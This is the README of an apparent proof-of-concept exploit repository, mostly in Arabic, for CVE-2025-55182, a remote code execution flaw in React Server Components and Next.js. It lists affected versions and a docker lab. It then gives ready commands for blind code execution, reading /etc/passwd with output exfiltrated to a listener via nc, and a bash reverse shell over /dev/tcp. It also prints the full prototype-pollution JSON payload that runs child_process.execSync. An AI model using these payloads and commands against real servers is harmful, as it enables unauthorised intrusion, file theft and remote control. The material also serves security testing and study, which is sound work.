
CVE-2025-55182 React2Shell PoC
استغلال إثبات مفهوم (PoC) لثغرة CVE-2025-55182، وهي ثغرة حرجة (CVSS 10.0) تتيح تنفيذ التعليمات البرمجية عن بُعد دون مصادقة في React Server Components.
اكتشفها Lachlan Davidson - تم الإبلاغ عنها إلى فريق Meta/React في 29 نوفمبر 2025.
توجد الثغرة في منطق إلغاء التسلسل (deserialization) الخاص ببروتوكول React Flight. من خلال إرسال حمولة خبيثة عبر HTTP POST، يمكن للمهاجم تحقيق تلوث النموذج الأولي (Prototype Pollution) مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية على الخادم.
| الحزمة | الإصدارات المتأثرة |
|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6 |
.
├── exploit.py # exploit script
├── docker-compose.yml # Vulnerable test environment
├── vulnerable-app/ # Vulnerable Next.js application
└── README.md
docker compose up -d
يؤدي هذا إلى تشغيل تطبيق Next.js متأثر على http://localhost:3000.
python3 exploit.py -u http://localhost:3000 --check
يقوم هذا بإجراء فحص غير استغلالي للمؤشرات، بما في ذلك:
python3 exploit.py -u http://localhost:3000 -c "id"
ينفّذ أمرًا دون رؤية المخرجات. تحقق باستخدام:
python3 exploit.py -u http://localhost:3000 -c "id" --exfil <IP>:<PORT>
عنوان IP الخاص بك؛ المنفذ الذي تريد الاستماع عليه
usage: exploit.py [-h] -u URL [-c COMMAND] [--check] [--exfil HOST:PORT]
[--timeout TIMEOUT] [--no-verify]
options:
-u, --url URL Target URL
-c, --command CMD Command to execute
--check Check if vulnerable (non-exploitative)
--exfil HOST:PORT Exfiltrate output to HOST:PORT
--timeout TIMEOUT Request timeout (default: 10)
--no-verify Disable SSL verification
# Check vulnerability
python3 exploit.py -u http://localhost:3000 --check
# Blind RCE
python3 exploit.py -u http://localhost:3000 -c "touch /tmp/pwned"
# RCE with output
python3 exploit.py -u http://localhost:3000 -c "whoami" --exfil 172.17.0.1:9999
# Read files
python3 exploit.py -u http://localhost:3000 -c "cat /etc/passwd" --exfil 172.17.0.1:9999
# Reverse shell
python3 exploit.py -u http://localhost:3000 -c "bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\": \"$B0\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('id');",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
يؤدي الاستغلال إلى إتلاف حالة الخادم أثناء التنفيذ، مما يجعل تسريب المخرجات داخل النطاق (in-band) غير موثوق. تستخدم علامة --exfil التسريب خارج النطاق (out-of-band):
┌──────────┐ 1. Malicious POST ┌──────────┐
│ Attacker │ ──────────────────► │ Server │
└──────────┘ └──────────┘
▲ │
│ 3. Command output │ 2. RCE executes:
│ via nc │ cmd | nc attacker port
│ ▼
└─────────────────────────────────┘
docker compose down
هذه الأداة مخصصة لاختبار الأمان المصرح به ولأغراض تعليمية فقط. استخدمها فقط ضد الأنظمة التي لديك إذن باختبارها.